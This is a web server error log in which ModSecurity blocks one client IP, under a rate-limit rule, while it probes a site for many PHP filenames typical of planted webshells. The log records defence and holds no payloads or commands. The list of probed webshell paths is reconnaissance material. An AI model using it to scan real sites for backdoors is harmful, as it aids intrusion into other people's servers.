[Sun May 24 21:59:13.271316 2026] [:error] [pid 15835:tid 15856] [client 20.195.192.35:10051] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/00.php"] [unique_id "ahMEMWWbknYlUM9P0qPmBgAAABM"]
[Sun May 24 21:59:13.950491 2026] [:error] [pid 11282:tid 11340] [client 20.195.192.35:10037] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/als.php"] [unique_id "ahMEMe0bPyN3C7HZ1R-n7wAAAMA"]
[Sun May 24 21:59:14.657303 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:10234] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/als.php"] [unique_id "ahMEMofq_sTmmtTKm1U2zQAAAQU"]
[Sun May 24 21:59:15.304849 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:10166] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/als.php"] [unique_id "ahMEM4fq_sTmmtTKm1U2zwAAARE"]
[Sun May 24 21:59:16.161521 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10160] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/als.php"] [unique_id "ahMENGWbknYlUM9P0qPmDQAAABI"]
[Sun May 24 21:59:16.855056 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10094] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pol.php"] [unique_id "ahMENIfq_sTmmtTKm1U20gAAAQ4"]
[Sun May 24 21:59:17.583388 2026] [:error] [pid 11368:tid 11388] [client 20.195.192.35:9984] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pol.php"] [unique_id "ahMENYfq_sTmmtTKm1U21QAAARI"]
[Sun May 24 21:59:18.593492 2026] [:error] [pid 11281:tid 11317] [client 20.195.192.35:10043] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pol.php"] [unique_id "ahMENpKmC9taWvA91j6KXgAAAIQ"]
[Sun May 24 21:59:19.330971 2026] [:error] [pid 15835:tid 15845] [client 20.195.192.35:10035] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pol.php"] [unique_id "ahMEN2WbknYlUM9P0qPmEgAAAAg"]
[Sun May 24 21:59:20.305877 2026] [:error] [pid 11282:tid 11343] [client 20.195.192.35:9920] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ll.php"] [unique_id "ahMEOO0bPyN3C7HZ1R-n8wAAAMM"]
[Sun May 24 21:59:21.370593 2026] [:error] [pid 15835:tid 15859] [client 20.195.192.35:10022] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ll.php"] [unique_id "ahMEOWWbknYlUM9P0qPmGAAAABY"]
[Sun May 24 21:59:22.932489 2026] [:error] [pid 11280:tid 11306] [client 20.195.192.35:10007] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ll.php"] [unique_id "ahMEOoRn5s7laoSxy1Qb_wAAAFU"]
[Sun May 24 21:59:24.645876 2026] [:error] [pid 11282:tid 11351] [client 20.195.192.35:10077] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ll.php"] [unique_id "ahMEPO0bPyN3C7HZ1R-oAgAAAMs"]
[Sun May 24 21:59:25.819322 2026] [:error] [pid 15835:tid 15849] [client 20.195.192.35:9970] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ahMEPWWbknYlUM9P0qPmNQAAAAw"]
[Sun May 24 21:59:27.124617 2026] [:error] [pid 11282:tid 11363] [client 20.195.192.35:9962] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ahMEP-0bPyN3C7HZ1R-oEwAAANc"]
[Sun May 24 21:59:28.606037 2026] [:error] [pid 11281:tid 11333] [client 20.195.192.35:9971] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ahMEQJKmC9taWvA91j6KZgAAAJQ"]
[Sun May 24 21:59:29.674727 2026] [:error] [pid 15835:tid 15844] [client 20.195.192.35:9987] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ahMEQWWbknYlUM9P0qPmQgAAAAc"]
[Sun May 24 21:59:30.947575 2026] [:error] [pid 15835:tid 15837] [client 20.195.192.35:9957] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahMEQmWbknYlUM9P0qPmRwAAAAA"]
[Sun May 24 21:59:31.752619 2026] [:error] [pid 11368:tid 11388] [client 20.195.192.35:10017] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahMEQ4fq_sTmmtTKm1U3CwAAARI"]
[Sun May 24 21:59:32.687159 2026] [:error] [pid 15835:tid 15847] [client 20.195.192.35:10096] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahMERGWbknYlUM9P0qPmSgAAAAo"]
[Sun May 24 21:59:33.906346 2026] [:error] [pid 11368:tid 11379] [client 20.195.192.35:9997] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahMERYfq_sTmmtTKm1U3DwAAAQk"]
[Sun May 24 21:59:34.791317 2026] [:error] [pid 15835:tid 15853] [client 20.195.192.35:10011] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "ahMERmWbknYlUM9P0qPmTQAAABA"]
[Sun May 24 21:59:36.127886 2026] [:error] [pid 11282:tid 11343] [client 20.195.192.35:9939] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "ahMESO0bPyN3C7HZ1R-oGAAAAMM"]
[Sun May 24 21:59:39.547438 2026] [:error] [pid 11281:tid 11323] [client 20.195.192.35:10065] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "ahMES5KmC9taWvA91j6KbQAAAIo"]
[Sun May 24 21:59:42.857771 2026] [:error] [pid 11281:tid 11321] [client 20.195.192.35:10174] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "ahMETpKmC9taWvA91j6KcwAAAIg"]
[Sun May 24 21:59:44.601974 2026] [:error] [pid 15835:tid 15844] [client 20.195.192.35:10016] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahMEUGWbknYlUM9P0qPmYwAAAAc"]
[Sun May 24 21:59:45.751185 2026] [:error] [pid 11281:tid 11313] [client 20.195.192.35:10013] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahMEUZKmC9taWvA91j6KdQAAAIA"]
[Sun May 24 21:59:46.882139 2026] [:error] [pid 15835:tid 15840] [client 20.195.192.35:10106] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahMEUmWbknYlUM9P0qPmawAAAAM"]
[Sun May 24 21:59:48.079038 2026] [:error] [pid 15835:tid 15856] [client 20.195.192.35:10023] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4PJcpMFsD8B.php"] [unique_id "ahMEVGWbknYlUM9P0qPmcgAAABM"]
[Sun May 24 21:59:49.143076 2026] [:error] [pid 11368:tid 11371] [client 20.195.192.35:10040] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ahMEVYfq_sTmmtTKm1U3LAAAAQE"]
[Sun May 24 21:59:50.244904 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:9964] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ahMEVmWbknYlUM9P0qPmdgAAABU"]
[Sun May 24 21:59:51.222167 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:9892] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ahMEV4fq_sTmmtTKm1U3LQAAAQw"]
[Sun May 24 21:59:52.418327 2026] [:error] [pid 11282:tid 11351] [client 20.195.192.35:9992] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ahMEWO0bPyN3C7HZ1R-oJQAAAMs"]
[Sun May 24 21:59:53.715277 2026] [:error] [pid 15835:tid 15845] [client 20.195.192.35:9940] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cfile.php"] [unique_id "ahMEWWWbknYlUM9P0qPmfAAAAAg"]
[Sun May 24 21:59:55.817783 2026] [:error] [pid 15835:tid 15851] [client 20.195.192.35:9927] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cfile.php"] [unique_id "ahMEW2WbknYlUM9P0qPmgwAAAA4"]
[Sun May 24 21:59:57.167818 2026] [:error] [pid 15835:tid 15852] [client 20.195.192.35:9931] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cfile.php"] [unique_id "ahMEXWWbknYlUM9P0qPmhwAAAA8"]
[Sun May 24 21:59:58.289643 2026] [:error] [pid 15835:tid 15841] [client 20.195.192.35:9896] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cfile.php"] [unique_id "ahMEXmWbknYlUM9P0qPmiwAAAAQ"]
[Sun May 24 21:59:59.142710 2026] [:error] [pid 11368:tid 11372] [client 20.195.192.35:10027] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ahMEX4fq_sTmmtTKm1U3OAAAAQI"]
[Sun May 24 21:59:59.849784 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10145] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ahMEX4fq_sTmmtTKm1U3OwAAARQ"]
[Sun May 24 22:00:01.018670 2026] [:error] [pid 11280:tid 11299] [client 20.195.192.35:10005] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ahMEYYRn5s7laoSxy1QcKwAAAE4"]
[Sun May 24 22:00:06.022328 2026] [:error] [pid 11368:tid 11382] [client 20.195.192.35:9965] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ahMEZofq_sTmmtTKm1U3QgAAAQw"]
[Sun May 24 22:00:06.682899 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10213] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "ahMEZofq_sTmmtTKm1U3RQAAARQ"]
[Sun May 24 22:00:07.761597 2026] [:error] [pid 11368:tid 11378] [client 20.195.192.35:9877] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "ahMEZ4fq_sTmmtTKm1U3RgAAAQg"]
[Sun May 24 22:00:08.435226 2026] [:error] [pid 11281:tid 11337] [client 20.195.192.35:10087] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "ahMEaJKmC9taWvA91j6KjgAAAJg"]
[Sun May 24 22:00:09.238183 2026] [:error] [pid 11280:tid 11306] [client 20.195.192.35:10004] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "ahMEaYRn5s7laoSxy1QcMAAAAFU"]
[Sun May 24 22:00:10.127546 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/aa2.php
[Sun May 24 22:00:10.441747 2026] [:error] [pid 11368:tid 11389] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/ccou.php
[Sun May 24 22:00:10.930299 2026] [:error] [pid 11368:tid 11375] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/login8.php
[Sun May 24 22:00:11.248007 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/nx.php
[Sun May 24 22:00:11.559600 2026] [:error] [pid 11368:tid 11380] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/dr.php
[Sun May 24 22:00:11.870703 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/xamp.php
[Sun May 24 22:00:12.231831 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/cA3bHIkVhgP.php
[Sun May 24 22:00:12.553308 2026] [:error] [pid 11368:tid 11392] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/clas11.php
[Sun May 24 22:00:12.863335 2026] [:error] [pid 11368:tid 11391] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/cxl.php
[Sun May 24 22:00:13.195615 2026] [:error] [pid 11368:tid 11378] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/bb.php
[Sun May 24 22:00:13.913363 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:9986] File does not exist: /usr/local/apache/htdocs/suspended-page/dtox.php
[Sun May 24 22:00:14.264295 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:9986] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ahMEbofq_sTmmtTKm1U3WgAAARg"]
[Sun May 24 22:00:15.103809 2026] [:error] [pid 11280:tid 11287] [client 20.195.192.35:9998] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ahMEb4Rn5s7laoSxy1QcMwAAAEI"]
[Sun May 24 22:00:17.026871 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:9875] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ahMEcYfq_sTmmtTKm1U3XQAAAQ8"]
[Sun May 24 22:00:18.350541 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:9999] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eee.php"] [unique_id "ahMEcofq_sTmmtTKm1U3YAAAAQ4"]
[Sun May 24 22:00:19.516052 2026] [:error] [pid 11281:tid 11324] [client 20.195.192.35:9860] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5BltUjE9CrY.php"] [unique_id "ahMEc5KmC9taWvA91j6KkgAAAIs"]
[Sun May 24 22:00:20.862320 2026] [:error] [pid 11281:tid 11326] [client 20.195.192.35:9981] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5BltUjE9CrY.php"] [unique_id "ahMEdJKmC9taWvA91j6KlAAAAI0"]
[Sun May 24 22:00:22.399704 2026] [:error] [pid 15835:tid 15847] [client 20.195.192.35:9975] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5BltUjE9CrY.php"] [unique_id "ahMEdmWbknYlUM9P0qPmjwAAAAo"]
